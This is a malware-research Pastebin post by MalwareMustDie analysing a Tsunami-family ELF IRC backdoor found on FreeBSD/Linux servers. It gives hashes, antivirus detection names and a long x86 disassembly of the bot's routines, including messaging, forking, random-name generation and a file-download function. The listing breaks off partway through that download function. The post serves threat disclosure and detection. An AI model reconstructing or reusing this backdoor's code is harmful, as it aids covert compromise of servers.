SHARE
TWEET

#MalwareMustDie! Elf IRC-Backdoor FreeBSD/Linux

MalwareMustDie May 30th, 2013 482 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #MalwareMustDie! Elf IRC-BOT on FreeBSD servers
  2. target was Linux OS, gcc compiled traces found.
  3. [0x00000000]> !date
  4. Thu May 30 20:43:54 JST 2013
  5. Analysis: http://malwaremustdie.blogspot.jp/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html
  6.  
  7. // hash: https://www.virustotal.com/en/file/6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e/analysis/1369913856/
  8. SHA256: 6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e
  9. SHA1: 13aa008b0f3c9e92450979ee52cb46accf49aff3
  10. MD5: 6547b92156b39cb3bb5371b17d2488f2
  11. File size: 18.5 KB ( 18902 bytes )
  12. File name: -bash
  13. File type: ELF
  14. Tags: elf
  15. Detection ratio: 7 / 47
  16. Analysis date: 2013-05-30 11:37:36 UTC ( 4 minutes ago )
  17. F-Secure                 : Generic.Malware.IFg.985D9435
  18. GData                    : ELF:Tsunami-L
  19. MicroWorld-eScan         : Generic.Malware.IFg.985D9435
  20. Avast                    : ELF:Tsunami-L [Trj]
  21. Kaspersky                : Backdoor.Linux.Tsunami.gen
  22. BitDefender              : Generic.Malware.IFg.985D9435
  23. Emsisoft                 : Generic.Malware.IFg.985D9435 (B)
  24.  
  25. // reversed:
  26.  
  27. 08048d20: xor    %ebp,%ebp
  28. 08048d22: push   %ebp
  29. 08048d23: mov    %esp,%ebp
  30. 08048d25: and    $0xfffffff0,%esp
  31. 08048d28: lea    0x8(%ebp),%eax
  32. 08048d2b: sub    $0x4,%esp
  33. 08048d2e: push   %eax
  34. 08048d2f: pushl  0x4(%ebp)
  35. 08048d32: push   %edx
  36. 08048d33: call   0x08048d40 <_start1>
  37. 08048d38: int3  
  38. 08048d39: nop    
  39. 08048d3a: nop    
  40. 08048d3b: nop    
  41. 08048d3c: nop    
  42. 08048d3d: nop    
  43. 08048d3e: nop    
  44. 08048d3f: nop    
  45.  
  46. # 08048d40 <_start1>:
  47. 08048d40: push   %ebp
  48. 08048d41: mov    %esp,%ebp
  49. 08048d43: push   %edi
  50. 08048d44: push   %esi
  51. 08048d45: push   %ebx
  52. 08048d46: sub    $0xc,%esp
  53. 08048d49: mov    0xc(%ebp),%esi
  54. 08048d4c: mov    0x10(%ebp),%ebx
  55. 08048d4f: test   %esi,%esi
  56. 08048d51: lea    0x4(%ebx,%esi,4),%edi
  57. 08048d55: mov    %edi,0x804c744
  58. 08048d5b: jle    0x08048d92 <_start1+0x52>
  59. 08048d5d: mov    (%ebx),%eax
  60. 08048d5f: test   %eax,%eax
  61. 08048d61: je     0x08048d92 <_start1+0x52>
  62. 08048d63: mov    %eax,0x804c240
  63. 08048d68: movzbl (%eax),%edx
  64. 08048d6b: test   %dl,%dl
  65. 08048d6d: je     0x08048d92 <_start1+0x52>
  66. 08048d6f: add    $0x1,%eax
  67. 08048d72: jmp    0x08048d7e <_start1+0x3e>
  68. 08048d74: movzbl (%eax),%edx
  69. 08048d77: add    $0x1,%eax
  70. 08048d7a: test   %dl,%dl
  71. 08048d7c: je     0x08048d92 <_start1+0x52>
  72. 08048d7e: cmp    $0x2f,%dl
  73. 08048d81: jne    0x08048d74 <_start1+0x34>
  74. 08048d83: mov    %eax,0x804c240
  75. 08048d88: movzbl (%eax),%edx
  76. 08048d8b: add    $0x1,%eax
  77. 08048d8e: test   %dl,%dl
  78. 08048d90: jne    0x08048d7e <_start1+0x3e>
  79. 08048d92: mov    $0x804c0a8,%eax
  80. 08048d97: test   %eax,%eax
  81. 08048d99: je     0x08048dcf <_start1+0x8f>
  82. 08048d9b: mov    0x8(%ebp),%eax
  83. 08048d9e: mov    %eax,(%esp)
  84. 08048da1: call   0x08048ac4 <atexit@plt>
  85. 08048da6: movl   $0x804a97c,(%esp)
  86. 08048dad: call   0x08048ac4 <atexit@plt>
  87. 08048db2: call   0x08048a00 <_init>
  88. 08048db7: mov    %edi,0x8(%esp)
  89. 08048dbb: mov    %ebx,0x4(%esp)
  90. 08048dbf: mov    %esi,(%esp)
  91. 08048dc2: call   0x0804a400 <main>
  92. 08048dc7: mov    %eax,(%esp)
  93. 08048dca: call   0x08048cb4 <exit@plt>
  94. 08048dcf: call   0x08048b04 <_init_tls@plt>
  95. 08048dd4: jmp    0x08048da6 <_start1+0x66>
  96. 08048dd6: nop    
  97. 08048dd7: nop    
  98. 08048dd8: nop    
  99. 08048dd9: nop    
  100. 08048dda: nop    
  101. 08048ddb: nop    
  102. 08048ddc: nop    
  103. 08048ddd: nop    
  104. 08048dde: nop    
  105. 08048ddf: nop    
  106.  
  107. # 08048de0 <__do_global_dtors_aux>:
  108. 08048de0: push   %ebp
  109. 08048de1: mov    %esp,%ebp
  110. 08048de3: sub    $0x8,%esp
  111. 08048de6: cmpb   $0x0,0x804c318
  112. 08048ded: je     0x08048dfb <__do_global_dtors_aux+0x1b>
  113. 08048def: jmp    0x08048e0d <__do_global_dtors_aux+0x2d>
  114. 08048df1: add    $0x4,%eax
  115. 08048df4: mov    %eax,0x804c248
  116. 08048df9: call   *%edx
  117. 08048dfb: mov    0x804c248,%eax
  118. 08048e00: mov    (%eax),%edx
  119. 08048e02: test   %edx,%edx
  120. 08048e04: jne    0x08048df1 <__do_global_dtors_aux+0x11>
  121. 08048e06: movb   $0x1,0x804c318
  122. 08048e0d: leave  
  123. 08048e0e: ret    
  124. 08048e0f: nop    
  125.  
  126. # 08048e10 <frame_dummy>:
  127. 08048e10: push   %ebp
  128. 08048e11: mov    %esp,%ebp
  129. 08048e13: sub    $0x8,%esp
  130. 08048e16: mov    0x804c0a4,%eax
  131. 08048e1b: test   %eax,%eax
  132. 08048e1d: je     0x08048e31 <frame_dummy+0x21>
  133. 08048e1f: mov    $0x0,%eax
  134. 08048e24: test   %eax,%eax
  135. 08048e26: je     0x08048e31 <frame_dummy+0x21>
  136. 08048e28: movl   $0x804c0a4,(%esp)
  137. 08048e2f: call   *%eax
  138. 08048e31: leave  
  139. 08048e32: ret    
  140. 08048e33: nop    
  141. 08048e34: nop    
  142. 08048e35: nop    
  143. 08048e36: nop    
  144. 08048e37: nop    
  145. 08048e38: nop    
  146. 08048e39: nop    
  147. 08048e3a: nop    
  148. 08048e3b: nop    
  149. 08048e3c: nop    
  150. 08048e3d: nop    
  151. 08048e3e: nop    
  152. 08048e3f: nop    
  153.  
  154. # 08048e40 <strwildmatch>:
  155. 08048e40: push   %ebp
  156. 08048e41: mov    %esp,%ebp
  157. 08048e43: push   %ebx
  158. 08048e44: sub    $0x24,%esp
  159. 08048e47: mov    0x8(%ebp),%eax
  160. 08048e4a: movzbl (%eax),%eax
  161. 08048e4d: movsbl %al,%eax
  162. 08048e50: mov    %eax,-0x18(%ebp)
  163. 08048e53: cmpl   $0x2a,-0x18(%ebp)
  164. 08048e57: je     0x08048e7b <strwildmatch+0x3b>
  165. 08048e59: cmpl   $0x3f,-0x18(%ebp)
  166. 08048e5d: je     0x08048ed2 <strwildmatch+0x92>
  167. 08048e5f: cmpl   $0x0,-0x18(%ebp)
  168. 08048e63: je     0x08048e6a <strwildmatch+0x2a>
  169. 08048e65: jmp    0x08048f10 <strwildmatch+0xd0>
  170. 08048e6a: mov    0xc(%ebp),%eax
  171. 08048e6d: movzbl (%eax),%eax
  172. 08048e70: movsbl %al,%eax
  173. 08048e73: mov    %eax,-0x14(%ebp)
  174. 08048e76: jmp    0x08048f6a <strwildmatch+0x12a>
  175. 08048e7b: mov    0x8(%ebp),%eax
  176. 08048e7e: add    $0x1,%eax
  177. 08048e81: mov    0xc(%ebp),%edx
  178. 08048e84: mov    %edx,0x4(%esp)
  179. 08048e88: mov    %eax,(%esp)
  180. 08048e8b: call   0x08048e40 <strwildmatch>
  181. 08048e90: test   %eax,%eax
  182. 08048e92: je     0x08048ec0 <strwildmatch+0x80>
  183. 08048e94: mov    0xc(%ebp),%eax
  184. 08048e97: movzbl (%eax),%eax
  185. 08048e9a: test   %al,%al
  186. 08048e9c: je     0x08048eb7 <strwildmatch+0x77>
  187. 08048e9e: mov    0xc(%ebp),%eax
  188. 08048ea1: add    $0x1,%eax
  189. 08048ea4: mov    %eax,0x4(%esp)
  190. 08048ea8: mov    0x8(%ebp),%eax
  191. 08048eab: mov    %eax,(%esp)
  192. 08048eae: call   0x08048e40 <strwildmatch>
  193. 08048eb3: test   %eax,%eax
  194. 08048eb5: je     0x08048ec0 <strwildmatch+0x80>
  195. 08048eb7: movl   $0x1,-0x10(%ebp)
  196. 08048ebe: jmp    0x08048ec7 <strwildmatch+0x87>
  197. 08048ec0: movl   $0x0,-0x10(%ebp)
  198. 08048ec7: mov    -0x10(%ebp),%eax
  199. 08048eca: mov    %eax,-0x14(%ebp)
  200. 08048ecd: jmp    0x08048f6a <strwildmatch+0x12a>
  201. 08048ed2: mov    0xc(%ebp),%eax
  202. 08048ed5: movzbl (%eax),%eax
  203. 08048ed8: test   %al,%al
  204. 08048eda: je     0x08048ef8 <strwildmatch+0xb8>
  205. 08048edc: mov    0xc(%ebp),%eax
  206. 08048edf: add    $0x1,%eax
  207. 08048ee2: mov    0x8(%ebp),%edx
  208. 08048ee5: add    $0x1,%edx
  209. 08048ee8: mov    %eax,0x4(%esp)
  210. 08048eec: mov    %edx,(%esp)
  211. 08048eef: call   0x08048e40 <strwildmatch>
  212. 08048ef4: test   %eax,%eax
  213. 08048ef6: je     0x08048f01 <strwildmatch+0xc1>
  214. 08048ef8: movl   $0x1,-0xc(%ebp)
  215. 08048eff: jmp    0x08048f08 <strwildmatch+0xc8>
  216. 08048f01: movl   $0x0,-0xc(%ebp)
  217. 08048f08: mov    -0xc(%ebp),%eax
  218. 08048f0b: mov    %eax,-0x14(%ebp)
  219. 08048f0e: jmp    0x08048f6a <strwildmatch+0x12a>
  220. 08048f10: mov    0x8(%ebp),%eax
  221. 08048f13: movzbl (%eax),%eax
  222. 08048f16: movsbl %al,%eax
  223. 08048f19: mov    %eax,(%esp)
  224. 08048f1c: call   0x08048f80 <__sbtoupper>
  225. 08048f21: mov    %eax,%ebx
  226. 08048f23: mov    0xc(%ebp),%eax
  227. 08048f26: movzbl (%eax),%eax
  228. 08048f29: movsbl %al,%eax
  229. 08048f2c: mov    %eax,(%esp)
  230. 08048f2f: call   0x08048f80 <__sbtoupper>
  231. 08048f34: cmp    %eax,%ebx
  232. 08048f36: jne    0x08048f54 <strwildmatch+0x114>
  233. 08048f38: mov    0xc(%ebp),%eax
  234. 08048f3b: add    $0x1,%eax
  235. 08048f3e: mov    0x8(%ebp),%edx
  236. 08048f41: add    $0x1,%edx
  237. 08048f44: mov    %eax,0x4(%esp)
  238. 08048f48: mov    %edx,(%esp)
  239. 08048f4b: call   0x08048e40 <strwildmatch>
  240. 08048f50: test   %eax,%eax
  241. 08048f52: je     0x08048f5d <strwildmatch+0x11d>
  242. 08048f54: movl   $0x1,-0x8(%ebp)
  243. 08048f5b: jmp    0x08048f64 <strwildmatch+0x124>
  244. 08048f5d: movl   $0x0,-0x8(%ebp)
  245. 08048f64: mov    -0x8(%ebp),%eax
  246. 08048f67: mov    %eax,-0x14(%ebp)
  247. 08048f6a: mov    -0x14(%ebp),%eax
  248. 08048f6d: add    $0x24,%esp
  249. 08048f70: pop    %ebx
  250. 08048f71: pop    %ebp
  251. 08048f72: ret    
  252. 08048f73: lea    0x0(%esi),%esi
  253. 08048f79: lea    0x0(%edi),%edi
  254.  
  255. # 08048f80 <__sbtoupper>:
  256. 08048f80: push   %ebp
  257. 08048f81: mov    %esp,%ebp
  258. 08048f83: sub    $0x4,%esp
  259. 08048f86: cmpl   $0x0,0x8(%ebp)
  260. 08048f8a: js     0x08048fab <__sbtoupper+0x2b>
  261. 08048f8c: mov    0x804c300,%eax
  262. 08048f91: cmp    %eax,0x8(%ebp)
  263. 08048f94: jge    0x08048fab <__sbtoupper+0x2b>
  264. 08048f96: mov    0x804c314,%edx
  265. 08048f9c: mov    0x8(%ebp),%eax
  266. 08048f9f: mov    0x834(%edx,%eax,4),%eax
  267. 08048fa6: mov    %eax,-0x4(%ebp)
  268. 08048fa9: jmp    0x08048fb1 <__sbtoupper+0x31>
  269. 08048fab: mov    0x8(%ebp),%eax
  270. 08048fae: mov    %eax,-0x4(%ebp)
  271. 08048fb1: mov    -0x4(%ebp),%eax
  272. 08048fb4: leave  
  273. 08048fb5: ret    
  274. 08048fb6: lea    0x0(%esi),%esi
  275. 08048fb9: lea    0x0(%edi),%edi
  276.  
  277. # 08048fc0 <send_msg>:
  278. 08048fc0: push   %ebp
  279. 08048fc1: mov    %esp,%ebp
  280. 08048fc3: sub    $0x28,%esp
  281. 08048fc6: lea    0x10(%ebp),%eax
  282. 08048fc9: mov    %eax,-0x4(%ebp)
  283. 08048fcc: mov    -0x4(%ebp),%eax
  284. 08048fcf: mov    %eax,0x8(%esp)
  285. 08048fd3: mov    0xc(%ebp),%eax
  286. 08048fd6: mov    %eax,0x4(%esp)
  287. 08048fda: movl   $0x804c340,(%esp)
  288. 08048fe1: call   0x08048c74 <vsprintf@plt>
  289. 08048fe6: movl   $0x804c340,(%esp)
  290. 08048fed: call   0x08048b84 <strlen@plt>
  291. 08048ff2: mov    %eax,0x8(%esp)
  292. 08048ff6: movl   $0x804c340,0x4(%esp)
  293. 08048ffe: mov    0x8(%ebp),%eax
  294. 08049001: mov    %eax,(%esp)
  295. 08049004: call   0x08048cf4 <write@plt>
  296. 08049009: leave  
  297. 0804900a: ret    
  298. 0804900b: nop    
  299. 0804900c: lea    0x0(%esi),%esi
  300.  
  301. # 08049010 <mfork>:
  302. 08049010: push   %ebp
  303. 08049011: mov    %esp,%ebp
  304. 08049013: sub    $0x18,%esp
  305. 08049016: call   0x08048a84 <fork@plt>
  306. 0804901b: mov    %eax,-0xc(%ebp)
  307. 0804901e: cmpl   $0x0,-0xc(%ebp)
  308. 08049022: jne    0x0804902f <mfork+0x1f>
  309. 08049024: mov    -0xc(%ebp),%eax
  310. 08049027: mov    %eax,-0x14(%ebp)
  311. 0804902a: jmp    0x080490bb <mfork+0xab>
  312. 0804902f: mov    0x804c32c,%eax
  313. 08049034: add    $0x1,%eax
  314. 08049037: mov    %eax,0x804c32c
  315. 0804903c: mov    0x804c32c,%eax
  316. 08049041: add    $0x1,%eax
  317. 08049044: shl    $0x2,%eax
  318. 08049047: mov    %eax,(%esp)
  319. 0804904a: call   0x08048a24 <malloc@plt>
  320. 0804904f: mov    %eax,-0x8(%ebp)
  321. 08049052: movl   $0x0,-0x4(%ebp)
  322. 08049059: jmp    0x0804907e <mfork+0x6e>
  323. 0804905b: mov    -0x4(%ebp),%eax
  324. 0804905e: shl    $0x2,%eax
  325. 08049061: mov    %eax,%ecx
  326. 08049063: add    -0x8(%ebp),%ecx
  327. 08049066: mov    -0x4(%ebp),%eax
  328. 08049069: shl    $0x2,%eax
  329. 0804906c: mov    %eax,%edx
  330. 0804906e: mov    0x804c768,%eax
  331. 08049073: lea    (%edx,%eax,1),%eax
  332. 08049076: mov    (%eax),%eax
  333. 08049078: mov    %eax,(%ecx)
  334. 0804907a: addl   $0x1,-0x4(%ebp)
  335. 0804907e: mov    0x804c32c,%eax
  336. 08049083: sub    $0x1,%eax
  337. 08049086: cmp    -0x4(%ebp),%eax
  338. 08049089: ja     0x0804905b <mfork+0x4b>
  339. 0804908b: mov    -0x8(%ebp),%edx
  340. 0804908e: sub    $0x4,%edx
  341. 08049091: mov    0x804c32c,%eax
  342. 08049096: shl    $0x2,%eax
  343. 08049099: add    %eax,%edx
  344. 0804909b: mov    -0xc(%ebp),%eax
  345. 0804909e: mov    %eax,(%edx)
  346. 080490a0: mov    0x804c768,%eax
  347. 080490a5: mov    %eax,(%esp)
  348. 080490a8: call   0x08048d04 <free@plt>
  349. 080490ad: mov    -0x8(%ebp),%eax
  350. 080490b0: mov    %eax,0x804c768
  351. 080490b5: mov    -0xc(%ebp),%eax
  352. 080490b8: mov    %eax,-0x14(%ebp)
  353. 080490bb: mov    -0x14(%ebp),%eax
  354. 080490be: leave  
  355. 080490bf: ret    
  356.  
  357. # 080490c0 <filter>:
  358. 080490c0: push   %ebp
  359. 080490c1: mov    %esp,%ebp
  360. 080490c3: push   %ebx
  361. 080490c4: sub    $0x4,%esp
  362. 080490c7: jmp    0x080490e0 <filter+0x20>
  363. 080490c9: mov    0x8(%ebp),%ebx
  364. 080490cc: sub    $0x1,%ebx
  365. 080490cf: mov    0x8(%ebp),%eax
  366. 080490d2: mov    %eax,(%esp)
  367. 080490d5: call   0x08048b84 <strlen@plt>
  368. 080490da: lea    (%ebx,%eax,1),%eax
  369. 080490dd: movb   $0x0,(%eax)
  370. 080490e0: mov    0x8(%ebp),%ebx
  371. 080490e3: sub    $0x1,%ebx
  372. 080490e6: mov    0x8(%ebp),%eax
  373. 080490e9: mov    %eax,(%esp)
  374. 080490ec: call   0x08048b84 <strlen@plt>
  375. 080490f1: lea    (%ebx,%eax,1),%eax
  376. 080490f4: movzbl (%eax),%eax
  377. 080490f7: cmp    $0xd,%al
  378. 080490f9: je     0x080490c9 <filter+0x9>
  379. 080490fb: mov    0x8(%ebp),%ebx
  380. 080490fe: sub    $0x1,%ebx
  381. 08049101: mov    0x8(%ebp),%eax
  382. 08049104: mov    %eax,(%esp)
  383. 08049107: call   0x08048b84 <strlen@plt>
  384. 0804910c: lea    (%ebx,%eax,1),%eax
  385. 0804910f: movzbl (%eax),%eax
  386. 08049112: cmp    $0xa,%al
  387. 08049114: je     0x080490c9 <filter+0x9>
  388. 08049116: add    $0x4,%esp
  389. 08049119: pop    %ebx
  390. 0804911a: pop    %ebp
  391. 0804911b: ret    
  392. 0804911c: lea    0x0(%esi),%esi
  393.  
  394. # 08049120 <makestring>:
  395. 08049120: push   %ebp
  396. 08049121: mov    %esp,%ebp
  397. 08049123: push   %esi
  398. 08049124: push   %ebx
  399. 08049125: sub    $0x30,%esp
  400. 08049128: movl   $0x9,-0x10(%ebp)
  401. 0804912f: mov    -0x10(%ebp),%eax
  402. 08049132: add    $0x1,%eax
  403. 08049135: mov    %eax,(%esp)
  404. 08049138: call   0x08048a24 <malloc@plt>
  405. 0804913d: mov    %eax,-0x14(%ebp)
  406. 08049140: mov    -0x10(%ebp),%eax
  407. 08049143: add    $0x1,%eax
  408. 08049146: mov    %eax,0x8(%esp)
  409. 0804914a: movl   $0x0,0x4(%esp)
  410. 08049152: mov    -0x14(%ebp),%eax
  411. 08049155: mov    %eax,(%esp)
  412. 08049158: call   0x08048c94 <memset@plt>
  413. 0804915d: movl   $0x0,-0xc(%ebp)
  414. 08049164: jmp    0x080491a8 <makestring+0x88>
  415. 08049166: mov    -0xc(%ebp),%eax
  416. 08049169: mov    %eax,%ebx
  417. 0804916b: add    -0x14(%ebp),%ebx
  418. 0804916e: call   0x08048b14 <rand@plt>
  419. 08049173: mov    %eax,%ecx
  420. 08049175: movl   $0x4ec4ec4f,-0x20(%ebp)
  421. 0804917c: mov    -0x20(%ebp),%eax
  422. 0804917f: imul   %ecx
  423. 08049181: sar    $0x3,%edx
  424. 08049184: mov    %ecx,%eax
  425. 08049186: sar    $0x1f,%eax
  426. 08049189: mov    %edx,%esi
  427. 0804918b: sub    %eax,%esi
  428. 0804918d: mov    %esi,-0x1c(%ebp)
  429. 08049190: imul   $0x1a,-0x1c(%ebp),%eax
  430. 08049194: mov    %ecx,%edx
  431. 08049196: sub    %eax,%edx
  432. 08049198: mov    %edx,-0x1c(%ebp)
  433. 0804919b: movzbl -0x1c(%ebp),%eax
  434. 0804919f: add    $0x41,%eax
  435. 080491a2: mov    %al,(%ebx)
  436. 080491a4: addl   $0x1,-0xc(%ebp)
  437. 080491a8: mov    -0xc(%ebp),%eax
  438. 080491ab: cmp    -0x10(%ebp),%eax
  439. 080491ae: jl     0x08049166 <makestring+0x46>
  440. 080491b0: mov    -0x14(%ebp),%eax
  441. 080491b3: add    $0x30,%esp
  442. 080491b6: pop    %ebx
  443. 080491b7: pop    %esi
  444. 080491b8: pop    %ebp
  445. 080491b9: ret    
  446. 080491ba: lea    0x0(%esi),%esi
  447.  
  448. # 080491c0 <pow>:
  449. 080491c0: push   %ebp
  450. 080491c1: mov    %esp,%ebp
  451. 080491c3: sub    $0xc,%esp
  452. 080491c6: cmpl   $0x0,0xc(%ebp)
  453. 080491ca: jne    0x080491d5 <pow+0x15>
  454. 080491cc: movl   $0x1,-0x4(%ebp)
  455. 080491d3: jmp    0x08049201 <pow+0x41>
  456. 080491d5: cmpl   $0x1,0xc(%ebp)
  457. 080491d9: jne    0x080491e3 <pow+0x23>
  458. 080491db: mov    0x8(%ebp),%eax
  459. 080491de: mov    %eax,-0x4(%ebp)
  460. 080491e1: jmp    0x08049201 <pow+0x41>
  461. 080491e3: mov    0xc(%ebp),%eax
  462. 080491e6: sub    $0x1,%eax
  463. 080491e9: mov    %eax,0x4(%esp)
  464. 080491ed: mov    0x8(%ebp),%eax
  465. 080491f0: mov    %eax,(%esp)
  466. 080491f3: call   0x080491c0 <pow>
  467. 080491f8: mov    %eax,%edx
  468. 080491fa: imul   0x8(%ebp),%edx
  469. 080491fe: mov    %edx,-0x4(%ebp)
  470. 08049201: mov    -0x4(%ebp),%eax
  471. 08049204: leave  
  472. 08049205: ret    
  473. 08049206: lea    0x0(%esi),%esi
  474. 08049209: lea    0x0(%edi),%edi
  475.  
  476. # 08049210 <in_cksum>:
  477. 08049210: push   %ebp
  478. 08049211: mov    %esp,%ebp
  479. 08049213: sub    $0x1c,%esp
  480. 08049216: mov    0xc(%ebp),%eax
  481. 08049219: mov    %eax,-0x1c(%ebp)
  482. 0804921c: mov    0x8(%ebp),%edx
  483. 0804921f: mov    %edx,-0x18(%ebp)
  484. 08049222: movl   $0x0,-0x14(%ebp)
  485. 08049229: movw   $0x0,-0x2(%ebp)
  486. 0804922f: jmp    0x08049245 <in_cksum+0x35>
  487. 08049231: mov    -0x18(%ebp),%edx
  488. 08049234: movzwl (%edx),%eax
  489. 08049237: movzwl %ax,%eax
  490. 0804923a: add    %eax,-0x14(%ebp)
  491. 0804923d: addl   $0x2,-0x18(%ebp)
  492. 08049241: subl   $0x2,-0x1c(%ebp)
  493. 08049245: cmpl   $0x1,-0x1c(%ebp)
  494. 08049249: jg     0x08049231 <in_cksum+0x21>
  495. 0804924b: cmpl   $0x1,-0x1c(%ebp)
  496. 0804924f: jne    0x08049266 <in_cksum+0x56>
  497. 08049251: lea    -0x2(%ebp),%edx
  498. 08049254: mov    -0x18(%ebp),%eax
  499. 08049257: movzbl (%eax),%eax
  500. 0804925a: mov    %al,(%edx)
  501. 0804925c: movzwl -0x2(%ebp),%eax
  502. 08049260: movzwl %ax,%eax
  503. 08049263: add    %eax,-0x14(%ebp)
  504. 08049266: mov    -0x14(%ebp),%edx
  505. 08049269: sar    $0x10,%edx
  506. 0804926c: movzwl -0x14(%ebp),%eax
  507. 08049270: add    %eax,%edx
  508. 08049272: mov    %edx,-0x14(%ebp)
  509. 08049275: mov    -0x14(%ebp),%eax
  510. 08049278: sar    $0x10,%eax
  511. 0804927b: add    %eax,-0x14(%ebp)
  512. 0804927e: movzwl -0x14(%ebp),%eax
  513. 08049282: not    %eax
  514. 08049284: mov    %ax,-0x2(%ebp)
  515. 08049288: movzwl -0x2(%ebp),%eax
  516. 0804928c: movzwl %ax,%eax
  517. 0804928f: leave  
  518. 08049290: ret    
  519. 08049291: jmp    0x080492a0 <get>
  520. 08049293: nop    
  521. 08049294: nop    
  522. 08049295: nop    
  523. 08049296: nop    
  524. 08049297: nop    
  525. 08049298: nop    
  526. 08049299: nop    
  527. 0804929a: nop    
  528. 0804929b: nop    
  529. 0804929c: nop    
  530. 0804929d: nop    
  531. 0804929e: nop    
  532. 0804929f: nop    
  533.  
  534. # 080492a0 <get>:
  535. 080492a0: push   %ebp
  536. 080492a1: mov    %esp,%ebp
  537. 080492a3: push   %ebx
  538. 080492a4: sub    $0x1454,%esp
  539. 080492aa: mov    0xc(%ebp),%eax
  540. 080492ad: mov    %eax,(%esp)
  541. 080492b0: call   0x08049010 <mfork>
  542. 080492b5: test   %eax,%eax
  543. 080492b7: jne    0x0804969e <get+0x3fe>
  544. 080492bd: cmpl   $0x1,0x10(%ebp)
  545. 080492c1: jg     0x080492e9 <get+0x49>
  546. 080492c3: mov    0xc(%ebp),%eax
  547. 080492c6: mov    %eax,0x8(%esp)
  548. 080492ca: movl   $0x804a9a8,0x4(%esp)
  549. 080492d2: mov    0x8(%ebp),%eax
  550. 080492d5: mov    %eax,(%esp)
  551. 080492d8: call   0x08048fc0 <send_msg>
  552. 080492dd: movl   $0x0,(%esp)
  553. 080492e4: call   0x08048cb4 <exit@plt>
  554. 080492e9: movl   $0x0,0x8(%esp)
  555. 080492f1: movl   $0x1,0x4(%esp)
  556. 080492f9: movl   $0x2,(%esp)
  557. 08049300: call   0x08048ae4 <socket@plt>
  558. 08049305: mov    %eax,-0x28(%ebp)
  559. 08049308: cmpl   $0xffffffff,-0x28(%ebp)
  560. 0804930c: jne    0x08049334 <get+0x94>
  561. 0804930e: mov    0xc(%ebp),%eax
  562. 08049311: mov    %eax,0x8(%esp)
  563. 08049315: movl   $0x804a9cc,0x4(%esp)
  564. 0804931d: mov    0x8(%ebp),%eax
  565. 08049320: mov    %eax,(%esp)
  566. 08049323: call   0x08048fc0 <send_msg>
  567. 08049328: movl   $0x0,(%esp)
  568. 0804932f: call   0x08048cb4 <exit@plt>
  569. 08049334: mov    0x14(%ebp),%eax
  570. 08049337: add    $0x4,%eax
  571. 0804933a: mov    (%eax),%eax
  572. 0804933c: movl   $0x7,0x8(%esp)
  573. 08049344: movl   $0x804a9f2,0x4(%esp)
  574. 0804934c: mov    %eax,(%esp)
  575. 0804934f: call   0x08048ba4 <strncmp@plt>
  576. 08049354: test   %eax,%eax
  577. 08049356: jne    0x08049377 <get+0xd7>
  578. 08049358: mov    0x14(%ebp),%eax
  579. 0804935b: add    $0x4,%eax
  580. 0804935e: mov    (%eax),%eax
  581. 08049360: add    $0x7,%eax
  582. 08049363: mov    %eax,0x4(%esp)
  583. 08049367: lea    -0x438(%ebp),%eax
  584. 0804936d: mov    %eax,(%esp)
  585. 08049370: call   0x08048ca4 <strcpy@plt>
  586. 08049375: jmp    0x08049391 <get+0xf1>
  587. 08049377: mov    0x14(%ebp),%eax
  588. 0804937a: add    $0x4,%eax
  589. 0804937d: mov    (%eax),%eax
  590. 0804937f: mov    %eax,0x4(%esp)
  591. 08049383: lea    -0x438(%ebp),%eax
  592. 08049389: mov    %eax,(%esp)
  593. 0804938c: call   0x08048ca4 <strcpy@plt>
  594. 08049391: movl   $0x0,-0x24(%ebp)
  595. 08049398: jmp    0x0804939e <get+0xfe>
  596. 0804939a: addl   $0x1,-0x24(%ebp)
  597. 0804939e: mov    -0x24(%ebp),%ebx
  598. 080493a1: lea    -0x438(%ebp),%eax
  599. 080493a7: mov    %eax,(%esp)
  600. 080493aa: call   0x08048b84 <strlen@plt>
  601. 080493af: cmp    %eax,%ebx
  602. 080493b1: jae    0x080493c2 <get+0x122>
  603. 080493b3: mov    -0x24(%ebp),%eax
  604. 080493b6: movzbl -0x438(%ebp,%eax,1),%eax
  605. 080493be: cmp    $0x2f,%al
  606. 080493c0: jne    0x0804939a <get+0xfa>
  607. 080493c2: mov    -0x24(%ebp),%eax
  608. 080493c5: movb   $0x0,-0x438(%ebp,%eax,1)
  609. 080493cd: movb   $0x2,-0x37(%ebp)
  610. 080493d1: movw   $0x5000,-0x36(%ebp)
  611. 080493d7: lea    -0x438(%ebp),%eax
  612. 080493dd: mov    %eax,(%esp)
  613. 080493e0: call   0x08048a94 <__inet_addr@plt>
  614. 080493e5: mov    %eax,-0x1c(%ebp)
  615. 080493e8: cmpl   $0xffffffff,-0x1c(%ebp)
  616. 080493ec: jne    0x08049453 <get+0x1b3>
  617. 080493ee: lea    -0x438(%ebp),%eax
  618. 080493f4: mov    %eax,(%esp)
  619. 080493f7: call   0x08048c14 <gethostbyname@plt>
  620. 080493fc: mov    %eax,-0x14(%ebp)
  621. 080493ff: cmpl   $0x0,-0x14(%ebp)
  622. 08049403: jne    0x0804942b <get+0x18b>
  623. 08049405: mov    0xc(%ebp),%eax
  624. 08049408: mov    %eax,0x8(%esp)
  625. 0804940c: movl   $0x804a9fc,0x4(%esp)
  626. 08049414: mov    0x8(%ebp),%eax
  627. 08049417: mov    %eax,(%esp)
  628. 0804941a: call   0x08048fc0 <send_msg>
  629. 0804941f: movl   $0x0,(%esp)
  630. 08049426: call   0x08048cb4 <exit@plt>
  631. 0804942b: mov    -0x14(%ebp),%eax
  632. 0804942e: mov    0xc(%eax),%eax
  633. 08049431: mov    %eax,%edx
  634. 08049433: mov    -0x14(%ebp),%eax
  635. 08049436: mov    0x10(%eax),%eax
  636. 08049439: mov    (%eax),%eax
  637. 0804943b: mov    %edx,0x8(%esp)
  638. 0804943f: mov    %eax,0x4(%esp)
  639. 08049443: lea    -0x38(%ebp),%eax
  640. 08049446: add    $0x4,%eax
  641. 08049449: mov    %eax,(%esp)
  642. 0804944c: call   0x08048c64 <memcpy@plt>
  643. 08049451: jmp    0x08049459 <get+0x1b9>
  644. 08049453: mov    -0x1c(%ebp),%eax
  645. 08049456: mov    %eax,-0x34(%ebp)
  646. 08049459: movl   $0x8,0x8(%esp)
  647. 08049461: movl   $0x0,0x4(%esp)
  648. 08049469: lea    -0x38(%ebp),%eax
  649. 0804946c: add    $0x8,%eax
  650. 0804946f: mov    %eax,(%esp)
  651. 08049472: call   0x08048c94 <memset@plt>
